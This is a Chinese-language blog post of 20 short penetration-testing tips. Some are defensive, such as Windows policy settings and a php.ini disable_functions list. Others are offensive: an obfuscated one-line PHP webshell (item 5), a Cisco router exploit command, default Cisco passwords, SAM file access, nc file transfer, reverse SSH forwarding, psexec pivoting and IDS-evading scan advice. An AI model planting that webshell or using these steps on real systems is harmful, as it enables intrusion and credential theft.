渗透测试笔记主要为一些短小但又精华的渗透小技巧,旨在与小伙伴们分享学习心得。为保证质量,每一篇为20条左右的渗透小记。
1、小小一招,让你的电脑安全起来:在“运行”对话框中输入“gpedit.msc”打开“本地组策略编辑器”窗口,展开“用户配置/管理模板/系统”目录,可双击配置禁止运行指定程序、禁止访问注册表、禁止访问命令提示符、禁止访问控制面板等策略。
2、在注册表编辑器中,依次打开HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug分支,双击“Auto”键值项,可以防止系统隐私信息被泄露。(应该是禁止生成dmp文件。)
3、HTTP协议代理服务器常用端口号:
80(Apache服务器默认、Nginx服务器默认、lighttpd服务器默认) 8080(tomcat服务器默认、kangle服务器默认) 3128(Squid服务器默认) 8081(用户习惯) 9080(WebSpher服务器默认) 7001(weblogic的默认端口)
4、在php.ini禁止一些危险函数的执行:
如果不希望执行包括system()等在那的能够执行命令的php函数,或者能够查看php信息的phpinfo()等函数,那么我们就可以禁止它们:
disable_functions = system,passthru,exec,shell_exec,popen,phpinfo
如果你要禁止任何文件和目录的操作,那么可以关闭很多文件操作:
disable_functions = chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir, rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown
此时就能够抵制大部分的phpshell了。
5、一个非常聪(淫)明(荡)的隐藏一句话方法:
$asse=$asse{0}.$asse{1}.$asse{1}.$asse{2}.$asse{3}.$asse{4}; @$asse($_POST[$_GET['s']]);
6、默认情况下,Linux系统的TTL值为64或255,Windows NT/2000/XP系统的默认TTL值为128,Win7系统的TTL值是64,Windows 98系统的TTL值为32,UNIX主机的TTL值为255。(但这是可以修改的)
7、在使用Nmap扫描端口的时候,端口状态可能会出现filtered / unfiltered.filtered是指有防火墙或是其他过滤装置在对这个端口进行过滤,所以Nmap需要进一步查明端口是否开放;unfiltered状态只有在大多数的扫描端口都处在filter状态下才出现,说明Nmap能够访问这个端口,但是不清楚这个端口打开的状态。
8、安全漏洞生命周期(图片摘自诸葛建伟《Matesploit渗透测试魔鬼训练营》)
9、msfpayload、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式,并可以进行各种类型的编码。
10、Metasploit攻击载荷模块分为独立(Singles)、传输器(Stager)、传输体(Stage)三种类型。
例如:“windows/shell_bind_tcp”是一个独立攻击载荷。“windows/shell/bind_tcp”是一个由传输器载荷(bind_tcp)和一个传输体载荷(shell)所组成,其功能相当于“windows/shell_bind_tcp”。
11、Metasploit在自动为payload选择编码器进行编码时,可能找不到合适的编码器。因为这个编码器既能够将编码后的payload大小控制在一定范围内,又要完全避免出现“坏字符”。这种情况下就会出现“No encoder encoded the buffer succcessfully”报错。
12、BackTrack5 升级Metasploit至Git更新的方法 (无法使用msfupdate解决方法):
(1)用vim修改文件:
/opt/metasploit/ruby/lib/ruby/1.9.1/i686-linux/rbconfig.rb changed the line => CONFIG["LIBRUBYARG_STATIC"] = "-Wl,-R -Wl,$(libdir) -L$(libdir) -l$(RUBY_SO_NAME)-static" by => CONFIG["LIBRUBYARG_STATIC"] = "-Wl,-R -Wl,$(libdir) -L$(libdir) "(其实就是去掉-l$(RUBY_SO_NAME)-static)
(2)切换至
/opt/metasploit/msf3
然后运行
/opt/metasploit/ruby/bin/bundle install
(3)
msfupdate
(小编亲测不行,是由于我以前对MSF的改动较多吗?各位骚年还是换Kali吧!不过如果不是特别专业的渗透测试人员,没必要总是保持最新状态,不必在乎这些细节 :))
13、利用BT5检查cisco路由器是否出现漏洞
定位到以下目录:
/pentest/cisco/cisco-global-exploiter
运行名为cge.pl的Perl文件,这个文件没有任何选项。根据运行的版本的不同,屏幕上最多会出现14个不同的选项,每个选项都会引用一个试图利用不同漏洞的脚本。这能够帮助企业更有效地测试路由器面向外部的接口,企业应该经常进行测试。91ri.org注:这个是在backtrack下的 其他渗透系统自行find
假设测试的路由器有一个外部IP地址200.1.1.1,输入以下命令:
./cge.pl 200.1.1.1 2
14、大家都知道思科的默认用户名和默认密码都是cisco,很多管理员喜欢把enable口令改成class。
15、安全帐户管理器多年来一直是微软操作系统的核心部分,现在也是Windows 8.1的一部分。SAM的功能固定于lsass.exe中。lsass.exe是一个位于c:\Windows\system32的Windows服务。
16、SAM的备份文件位于c:\windows\system32\repair\。如果密码被定期更改,过期密码会包含在这个文件中,但登录到计算机的任何账户都可以访问到这个文件。只需要在机器上创建一个普通帐户,就可以查看了。
17、ssh反弹内网端口几个比较重要的参数:
1-f: 连接成功后切换到后台,不会占用当前的shell,shell断了也会继续执行,相当于 nohup和&。
2-N: 连接后不调用shell
3-R:把本地网络(可以是本机或者任何内网甚至外网端口)端口反弹到ssh服务器
18、用nc方法往linux系统传文件:
先在服务端监听:
nc -l port > 文件名
然后到要发送文件的服务器:
nc 服务端ip 端口 < 文件名
(注:发送小文件还行,大文件有时候会断。)
19、有些时候你拿了linux服务器的shell,想跨到windows的机器上,基本就是通过两个手段,一个是针对windows的服务进行exploit溢出,还有就是利用在linux上搜集的用户名和密码然后通过psexec放shell。
20、想要确定是不是windows主机,在内网扫开445和3389的机器,基本是windows了。扫的时候要注意,不管用什么工具,尽量用socket connect的方式扫。像SYN 方式扫描如果内网有ids之类肯定会被发现,connect方式扫描相对来说和正常连接差不多。